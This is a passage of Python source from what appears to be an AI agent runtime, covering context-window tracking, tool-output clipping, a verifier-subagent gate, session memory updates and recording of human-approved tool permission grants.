prefix_messages = messages[:base_prefix_len]
if hasattr(self.llm, "build_cache_fingerprint"):
fingerprint = self.llm.build_cache_fingerprint(messages=prefix_messages, tools=tool_schemas)
else:
fingerprint = hashlib.sha256(
json.dumps(
{"messages": prefix_messages, "tools": tool_schemas or []},
ensure_ascii=False,
sort_keys=True,
default=str,
).encode("utf-8")
).hexdigest()
token_count = self._safe_count_input_tokens(prefix_messages, tool_schemas)
if task is not None:
runtime_meta = dict(task.metadata.get("runtime_v2", {}) or {})
runtime_meta["prompt_prefix_fingerprint"] = fingerprint
runtime_meta["prompt_prefix_tokens"] = token_count
task.metadata["runtime_v2"] = runtime_meta
await self._emit_runtime_event(
runtime_session_id,
task,
"prompt_prefix_state",
{
"fingerprint": fingerprint,
"token_count": token_count,
"base_prefix_len": base_prefix_len,
"message_count": len(prefix_messages),
},
)
async def _emit_context_usage(
self,
*,
runtime_session_id: str,
task: Task | None,
messages: list[dict[str, Any]],
tool_schemas: list[dict[str, Any]] | None,
phase: str,
) -> dict[str, Any]:
config = self.config.system.native_runtime.context_usage_reporting
payload = self._context_usage_payload(messages, tool_schemas)
if not config.enabled or not config.emit_runtime_events:
return payload
await self._emit_runtime_event(
runtime_session_id,
task,
"context_usage",
{
"phase": phase,
**payload,
"message_count": len(messages),
},
)
warn_remaining_pct = int(self.config.system.native_runtime.context_guard.warn_remaining_pct or 0)
if (
payload.get("context_window", 0)
and warn_remaining_pct > 0
and int(payload.get("context_remaining_pct", 100) or 100) <= warn_remaining_pct
):
await self._emit_runtime_event(
runtime_session_id,
task,
"context_warning",
{
"phase": phase,
**payload,
"threshold_pct": warn_remaining_pct,
},
)
return payload
def _update_runtime_notes(
self,
runtime_notes: dict[str, Any],
execution_results: list[dict[str, Any]],
) -> None:
mutating_tools = set(runtime_notes.get("mutating_tools", []) or [])
risky_tools = set(runtime_notes.get("observed_risky_tools", []) or [])
permission_details = list(runtime_notes.get("permission_details", []) or [])
for item in execution_results:
call = dict(item.get("tool_call", {}) or {})
decision = item.get("permission_decision")
tool_name = str(call.get("function", "") or "")
if tool_name in {
"file_write",
"file_edit",
"apply_patch",
"shell_exec",
"python_exec",
"git_commit",
}:
mutating_tools.add(tool_name)
if decision is not None:
risk_level = getattr(getattr(decision, "risk_level", None), "value", str(getattr(decision, "risk_level", "")))
resolution = getattr(getattr(decision, "resolution", None), "value", str(getattr(decision, "resolution", "")))
detail = {
"tool_name": tool_name,
"resolution": resolution,
"risk_level": risk_level,
"source": str(getattr(decision, "source", "") or ""),
"rationale": str(getattr(decision, "rationale", "") or ""),
}
permission_details.append(detail)
if risk_level in {"high", "critical"} or resolution in {"ask", "deny"}:
risky_tools.add(tool_name)
runtime_notes["mutating_tools"] = sorted(mutating_tools)
runtime_notes["observed_risky_tools"] = sorted(risky_tools)
runtime_notes["permission_details"] = permission_details[-20:]
def _verification_required(
self,
*,
task: Task | None,
todo_state: list[dict[str, Any]],
runtime_notes: dict[str, Any],
) -> bool:
policy = self.config.system.native_runtime.verification_policy
if not policy.enabled or task is None:
return False
if task.metadata.get(policy.skip_metadata_key):
return False
verification_state = dict(runtime_notes.get("verification", {}) or {})
if verification_state.get("completed"):
return False
if self._is_task_mode_runtime_task(task):
return self._metadata_flag_enabled(task.metadata.get("explicit_verification_requested"))
explicit_requirement = task.metadata.get("work_item_verification_required")
if isinstance(explicit_requirement, bool):
return explicit_requirement
if len(todo_state or []) >= max(1, policy.min_todos_for_verification):
return True
if policy.require_on_code_edits and runtime_notes.get("mutating_tools"):
return True
if policy.require_on_risky_tools and runtime_notes.get("observed_risky_tools"):
return True
return False
def _verification_block_would_deadlock(self, task: Task | None) -> bool:
"""Whether parking ``task`` on AWAITING_HUMAN after a failed
verification would deadlock the company workflow.
A failed verification gate normally parks the turn on AWAITING_HUMAN so
a human can intervene. That is correct only for user-facing company
cards (chiefly the final delivery card routed to a human reviewer): they
surface an approval card in the UI. Non-user-visible turns — worker
execute, the hidden worker report/handoff card, internal review cards —
have no UI surface, so blocking on a human is a guaranteed deadlock: the
hidden card stalls, the manager-review work item never spawns, and the
parent stays ``waiting_for_children`` with its claim unreleased. For
those, the turn should complete (DONE) and flow into the normal
manager-review gate, which is the real quality check for worker output.
Conservative by design: returns True only for cards that demonstrably
cannot surface a human approval card. Anything user-visible keeps the
existing AWAITING_HUMAN behavior unchanged.
"""
if task is None:
return False
meta = dict(getattr(task, "metadata", {}) or {})
if meta.get("user_visible") is False:
return True
if meta.get("report_execution_work_item") or meta.get("review_execution_work_item"):
return True
if meta.get("hidden_from_company_kanban"):
return True
return False
async def _run_verification_gate(
self,
*,
runtime_session_id: str,
task: Task | None,
subagents: SubagentManager,
messages: list[dict[str, Any]],
todo_state: list[dict[str, Any]],
runtime_notes: dict[str, Any],
) -> TaskResult | None:
if not self._verification_required(task=task, todo_state=todo_state, runtime_notes=runtime_notes):
return None
policy = self.config.system.native_runtime.verification_policy
summary = self._build_verification_prompt(task)
if task is not None and str(task.metadata.get("execution_mode", "") or "").strip() == "company_mode":
work_item_name = str(task.title or "").strip()
turn_type = turn_type_for_task(task, fallback="execute")
summary = self._build_verification_prompt(
task,
work_item_name=work_item_name,
turn_type=turn_type,
)
await self._emit_runtime_event(
runtime_session_id,
task,
"verification_started",
{
"profile": policy.verifier_profile,
"mutating_tools": list(runtime_notes.get("mutating_tools", []) or []),
"risky_tools": list(runtime_notes.get("observed_risky_tools", []) or []),
"todo_count": len(todo_state or []),
},
)
verification_result = await subagents.spawn(
profile=policy.verifier_profile,
prompt=summary,
description="Runtime verification pass",
name="verifier",
background=False,
isolation="worktree",
fork_context_messages=list(messages),
fork_system_prompt=str(messages[0].get("content", "")) if messages else "",
fork_mode=True,
)
verdict_text = str(
verification_result.get("result", "")
or verification_result.get("error", "")
or ""
).strip()
verification_evidence = self._parse_verification_evidence(verdict_text)
spawn_success = bool(verification_result.get("success", False))
repair_attempted = False
if spawn_success and verdict_text and verification_evidence.status != "provided":
repair_attempted = True
await self._emit_runtime_event(
runtime_session_id,
task,
"verification_repair_requested",
{
"profile": policy.verifier_profile,
"reason": "missing_structured_evidence",
},
)
repair_result = await subagents.spawn(
profile=policy.verifier_profile,
prompt=self._build_verification_retry_prompt(task, previous_output=verdict_text),
description="Runtime verification evidence repair",
name="verifier_repair",
background=False,
isolation="worktree",
fork_context_messages=list(messages),
fork_system_prompt=str(messages[0].get("content", "")) if messages else "",
fork_mode=True,
)
repaired_text = str(
repair_result.get("result", "")
or repair_result.get("error", "")
or ""
).strip()
if repaired_text:
verdict_text = repaired_text
verification_evidence = self._parse_verification_evidence(verdict_text)
spawn_success = bool(repair_result.get("success", False))
if verification_evidence.status != "provided":
unavailable_reason = verdict_text or "Verifier did not provide structured evidence."
if not spawn_success:
unavailable_reason = (
"Verification unavailable: verifier did not complete successfully. "
+ unavailable_reason
).strip()
elif repair_attempted:
unavailable_reason = (
"Verification unavailable: verifier still did not provide structured evidence after repair. "
+ unavailable_reason
).strip()
else:
unavailable_reason = (
"Verification unavailable: verifier did not provide structured evidence. "
+ unavailable_reason
).strip()
verification_evidence = self._verification_unavailable_evidence(
summary=unavailable_reason,
raw_output=verdict_text,
)
verdict_text = unavailable_reason
passed = (
spawn_success
and verdict_text
and verification_evidence.status == "provided"
and verification_evidence.verdict == "pass"
)
verification_state = {
"completed": True,
"passed": passed,
"profile": policy.verifier_profile,
"verdict": verdict_text,
"spawn_success": spawn_success,
"evidence": verification_evidence.__dict__,
"repair_attempted": repair_attempted,
}
runtime_notes["verification"] = verification_state
if task is not None:
runtime_meta = dict(task.metadata.get("runtime_v2", {}) or {})
runtime_meta["verification"] = verification_state
task.metadata["runtime_v2"] = runtime_meta
await self._emit_runtime_event(
runtime_session_id,
task,
"verification_completed",
verification_state,
)
if passed:
return None
if self._is_task_mode_runtime_task(task):
return None
if self._verification_block_would_deadlock(task):
# The task's company card is not user-visible (worker execute,
# hidden report/handoff, internal review). Parking it on
# AWAITING_HUMAN can never surface an approval card, so the whole
# company run deadlocks: the hidden report turn stalls → the manager
# review work item never spawns → the parent stays
# waiting_for_children with its claim unreleased. Complete the turn
# instead and let the company manager-review gate be the quality
# check. The failed verdict is already persisted in runtime_v2
# metadata and emitted as verification_completed for audit.
logger.warning(
"Native verification failed on a non-user-visible company turn; "
"completing instead of parking on AWAITING_HUMAN to avoid a "
"hidden-card deadlock. task_id=%s work_kind=%s",
getattr(task, "id", ""),
(dict(getattr(task, "metadata", {}) or {})).get("work_kind"),
)
return None
active_subagents = subagents.list_agents().get("agents", [])
failure_reason = verdict_text or "Verification found blocking issues."
if verification_evidence.status == "unavailable":
return None
return TaskResult(
status=TaskStatus.AWAITING_HUMAN,
content=failure_reason,
artifacts={
"runtime_session_id": runtime_session_id,
"verification": verification_state,
"verification_evidence": verification_evidence.__dict__,
"permission_requests": list(runtime_notes.get("permission_details", []) or []),
"task_ledger": list(todo_state or []),
"prefetch_hits": list(runtime_notes.get("prefetch_hits", []) or []),
"compaction_records": [],
"active_subagents": active_subagents,
"artifact_manifest": list(self._compose_runtime_artifact_manifest(
task=task,
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
compaction_boundaries=[],
active_subagents=active_subagents,
)),
"resume_state": self._build_resume_state(
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
compaction_boundaries=[],
active_subagents=active_subagents,
),
},
)
async def _maybe_update_background_session_memory(
self,
*,
runtime_session_id: str,
task: Task | None,
messages: list[dict[str, Any]],
) -> None:
config = self.config.system.native_runtime.background_session_memory
if not config.enabled or not task or not self.memory_manager or not task.session_id:
return
updater = getattr(self.memory_manager, "update_runtime_session_memory", None)
if not callable(updater):
return
try:
result = await updater(
session_id=task.session_id,
project_id=task.project_id,
llm=self.llm,
messages=messages,
update_interval_messages=config.update_interval_messages,
max_input_chars=config.max_input_chars,
)
except Exception as exc: # pragma: no cover - defensive
await self._emit_runtime_event(
runtime_session_id,
task,
"session_memory_update_failed",
{"message": str(exc)},
)
return
if result:
await self._emit_runtime_event(
runtime_session_id,
task,
"session_memory_updated",
dict(result),
)
def _safe_count_input_tokens(
self,
messages: list[dict[str, Any]],
tool_schemas: list[dict[str, Any]] | None,
) -> int:
counter = getattr(self.llm, "count_input_tokens", None)
if not callable(counter):
return 0
try:
return int(counter(messages, tools=tool_schemas) or 0)
except TypeError:
try:
return int(counter(messages) or 0)
except Exception:
return 0
except Exception:
return 0
def _context_window_limit(self) -> int:
getter = getattr(self.llm, "get_context_window", None)
if not callable(getter):
return 0
try:
return int(getter() or 0)
except TypeError:
try:
return int(getter(task_type=None) or 0)
except Exception:
return 0
except Exception:
return 0
def _context_usage_payload(
self,
messages: list[dict[str, Any]],
tool_schemas: list[dict[str, Any]] | None,
) -> dict[str, Any]:
token_count = self._safe_count_input_tokens(messages, tool_schemas)
context_window = self._context_window_limit()
remaining_tokens = max(0, context_window - token_count) if context_window > 0 else 0
remaining_pct = int((remaining_tokens / context_window) * 100) if context_window > 0 else 0
usage_ratio = (token_count / context_window) if context_window > 0 else 0.0
return {
"token_count": token_count,
"context_tokens": token_count,
"context_window": context_window,
"context_remaining_tokens": remaining_tokens,
"context_remaining_pct": remaining_pct,
"usage_ratio": round(usage_ratio, 4),
"soft_threshold": float(self.config.system.native_runtime.context_guard.soft_threshold or 0.60),
"hard_threshold": float(self.config.system.native_runtime.context_guard.hard_threshold or 0.80),
}
def _should_apply_soft_compaction(
self,
messages: list[dict[str, Any]],
tool_schemas: list[dict[str, Any]] | None,
) -> bool:
config = self.config.system.native_runtime.context_guard
if not config.enabled:
return True
payload = self._context_usage_payload(messages, tool_schemas)
if payload["context_window"] <= 0:
return len(messages) > self.config.system.native_runtime.history_snip_trigger_messages
return float(payload["usage_ratio"]) >= float(config.soft_threshold or 0.60)
def _should_apply_hard_compaction(
self,
messages: list[dict[str, Any]],
tool_schemas: list[dict[str, Any]] | None,
) -> bool:
config = self.config.system.native_runtime.context_guard
if not config.enabled:
return False
payload = self._context_usage_payload(messages, tool_schemas)
if payload["context_window"] <= 0:
return False
return float(payload["usage_ratio"]) >= float(config.hard_threshold or 0.80)
def _clip_tool_result_for_history(
self,
tool_name: str,
result: dict[str, Any],
) -> dict[str, Any]:
clipped = json.loads(json.dumps(result, ensure_ascii=False, default=str))
payload = clipped.get("result")
config = self.config.system.native_runtime.context_guard
generic_budget = int(config.tool_output_char_budget or 12_000)
shell_stdout_budget = int(config.shell_stdout_char_budget or 12_000)
shell_stderr_budget = int(config.shell_stderr_char_budget or 6_000)
if not isinstance(payload, dict):
return clipped
if tool_name in {"shell_exec", "python_exec"}:
if payload.get("stdout"):
clipped_stdout = clip_text(
str(payload.get("stdout", "") or ""),
limit=shell_stdout_budget,
marker="stdout truncated by context_guard",
)
payload["stdout"] = clipped_stdout.text
if clipped_stdout.truncated:
payload["stdout_truncated"] = True
payload["stdout_omitted_chars"] = clipped_stdout.omitted_chars
if payload.get("stderr"):
clipped_stderr = clip_text(
str(payload.get("stderr", "") or ""),
limit=shell_stderr_budget,
marker="stderr truncated by context_guard",
)
payload["stderr"] = clipped_stderr.text
if clipped_stderr.truncated:
payload["stderr_truncated"] = True
payload["stderr_omitted_chars"] = clipped_stderr.omitted_chars
for key in ("content", "rendered", "summary", "diff_preview"):
if payload.get(key):
clipped_value = clip_text(
str(payload.get(key, "") or ""),
limit=generic_budget,
marker="tool output truncated by context_guard",
)
payload[key] = clipped_value.text
if clipped_value.truncated:
payload[f"{key}_truncated"] = True
payload[f"{key}_omitted_chars"] = clipped_value.omitted_chars
clipped["result"] = payload
return clipped
async def _emit_status_snapshot(
self,
runtime_session_id: str,
task: Task | None,
snapshot: dict[str, Any],
) -> None:
await self._emit_runtime_event(runtime_session_id, task, "status_snapshot", dict(snapshot))
async def _extract_durable_memory(
self,
*,
task: Task | None,
user_message: str,
assistant_text: str,
runtime_session_id: str,
) -> dict[str, Any]:
if not task or not self.memory_manager or not task.session_id:
return {}
if not self.config.system.native_runtime.auto_extract_durable_memory:
return {}
extractor = getattr(self.memory_manager, "extract_durable_memories", None)
if not callable(extractor):
return {}
try:
result = await extractor(
session_id=task.session_id,
project_id=task.project_id,
query=user_message,
assistant_response=assistant_text,
llm=self.llm,
min_messages=self.config.system.native_runtime.durable_memory_extract_min_messages,
max_input_chars=self.config.system.native_runtime.durable_memory_max_input_chars,
)
except Exception as exc: # pragma: no cover - defensive
logger.debug(f"Durable memory extraction failed: {exc}")
await self._emit_runtime_event(
runtime_session_id,
task,
"durable_memory_extraction_failed",
{"message": str(exc)},
)
return {}
if result:
await self._emit_runtime_event(
runtime_session_id,
task,
"durable_memory_extracted",
dict(result),
)
return {"durable_memory_extraction": result} if result else {}
def _merge_artifacts(self, current: dict[str, Any], incoming: dict[str, Any]) -> dict[str, Any]:
merged = dict(current)
for key, value in incoming.items():
if isinstance(value, list) and isinstance(merged.get(key), list):
merged[key] = [*merged[key], *value]
elif isinstance(value, dict) and isinstance(merged.get(key), dict):
merged[key] = {**merged[key], **value}
else:
merged[key] = value
return merged
def _format_interrupt_notice(self, inbox_messages: list[dict[str, Any]]) -> str:
lines = ["New runtime inbox messages arrived while you were working:"]
for item in inbox_messages[:6]:
message_id = str(item.get("msg_id", "") or "").strip()
from_agent = str(item.get("from_agent", "") or item.get("from", "") or "").strip()
subject = str(item.get("subject", "") or "").strip()
message_class = str(item.get("message_class", "") or dict(item.get("metadata", {}) or {}).get("message_class", "")).strip()
protocol_type = str(item.get("protocol_type", "") or dict(item.get("metadata", {}) or {}).get("protocol_type", "")).strip()
summary = " | ".join(
[
part
for part in [
f"message_id={message_id}" if message_id else "",
f"from={from_agent}" if from_agent else "",
f"subject={subject}" if subject else "",
f"class={message_class}" if message_class else "",
f"protocol={protocol_type}" if protocol_type else "",
]
if part
]
)
body = str(item.get("body", "") or "").strip()
lines.append(f"- {summary or str(item)}")
if body:
lines.append(f" body={body}")
return "\n".join(lines)
def _render_todos(self, todo_state: list[dict[str, Any]]) -> str:
if not todo_state:
return "(no TODO items)"
status_icons = {
"pending": "[ ]",
"in_progress": "[>]",
"completed": "[x]",
"done": "[x]",
}
return "\n".join(
f"{status_icons.get(str(item.get('status', 'pending')), '[ ]')} "
f"{str(item.get('title') or item.get('content') or item.get('id', 'todo'))}"
for item in todo_state
)
def _normalize_todos(self, todos_payload: Any) -> list[dict[str, Any]]:
if not isinstance(todos_payload, list):
return []
normalized: list[dict[str, Any]] = []
has_active = False
for index, raw in enumerate(todos_payload, start=1):
if not isinstance(raw, dict):
continue
status = self._normalize_todo_status(raw.get("status"))
if status == "in_progress":
if has_active:
status = "pending"
else:
has_active = True
title = (
str(raw.get("title") or "").strip()
or str(raw.get("content") or "").strip()
or str(raw.get("active_form") or raw.get("activeForm") or "").strip()
or f"todo-{index}"
)
active_form = str(raw.get("active_form") or raw.get("activeForm") or title).strip() or title
content = str(raw.get("content") or title).strip() or title
normalized.append(
{
"id": str(raw.get("id") or index),
"title": title,
"content": content,
"active_form": active_form,
"status": status,
}
)
return normalized
@staticmethod
def _normalize_spawn_mode(value: Any) -> str:
mode = str(value or "default").strip() or "default"
legacy_key = mode.replace("_", "").lower()
return {
"acceptedits": "accept_edits",
"bypasspermissions": "bypass_permissions",
"dontask": "dont_ask",
}.get(legacy_key, mode)
@staticmethod
def _normalize_todo_status(value: Any) -> str:
status = str(value or "pending").strip().lower()
if status in {"done", "completed", "complete", "finished"}:
return "completed"
if status in {"in_progress", "in-progress", "active", "current"}:
return "in_progress"
return "pending"
async def _emit_progress(self, callback: Any, text: str, task: Task | None) -> None:
try:
await callback(text, task_id=task.id if task else None)
except TypeError:
await callback(text)
async def _persist_permission_grants(
self,
runtime_session_id: str,
task: Task | None,
execution_results: list[dict[str, Any]],
) -> None:
store = getattr(self.memory_manager, "store", None)
if not store or not hasattr(store, "save_runtime_permission_grant"):
return
for item in execution_results:
decision = item.get("permission_decision")
result = item.get("result", {})
call = item.get("tool_call", {})
if decision is None:
continue
human_reply = str(
(result.get("approval", {}) or {}).get("human_reply")
or ""
).strip().lower()
if human_reply not in {"approve_session", "always_project", "always_global"}:
continue
candidate = (
str(call.get("arguments", {}).get("path", "") or "").strip()
or str(call.get("arguments", {}).get("command", "") or "").strip()
or "*"
)
execution_context = dict((getattr(task, "metadata", {}) or {}).get("_execution_context", {}) or {}) if task else {}
sandbox = dict(execution_context.get("sandbox", {}) or {})
scope = "session"
if human_reply == "always_project":
scope = "project"
elif human_reply == "always_global":
scope = "global"
metadata = dict(result.get("approval", {}) or {})
metadata.update({
"sandbox_mode": str(sandbox.get("mode", "") or "").strip() or "*",
"allow_network": str(bool(sandbox.get("allow_network", True))).lower(),
"workspace_class": "workspace" if str((getattr(task, "metadata", {}) or {}).get("target_output_dir", "") or "").strip() else "default",
})
await store.save_runtime_permission_grant(
runtime_session_id=runtime_session_id,
project_id=task.project_id if task else "default",
scope=scope,
tool_name=str(call.get("function", "") or ""),
candidate=candidate,
metadata=metadata,
)
def _permission_requests_from_results(self, execution_results: list[dict[str, Any]]) -> list[dict[str, Any]]:
requests: list[dict[str, Any]] = []
for item in execution_results:
decision = item.get("permission_decision")
call = item.get("tool_call", {})
if decision is None:
continue
resolution = getattr(decision, "resolution", None)
resolution_value = getattr(resolution, "value", str(resolution))
if resolution_value not in {"ask", "deny"}:
continue
requests.append({
"tool_name": str(call.get("function", "") or ""),
"resolution": resolution_value,
"scope": getattr(getattr(decision, "scope", None), "value", str(getattr(decision, "scope", ""))),
"risk_level": getattr(getattr(decision, "risk_level", None), "value", str(getattr(decision, "risk_level", ""))),
"rationale": str(getattr(decision, "rationale", "") or ""),
"source": str(getattr(decision, "source", "") or ""),
})
return requests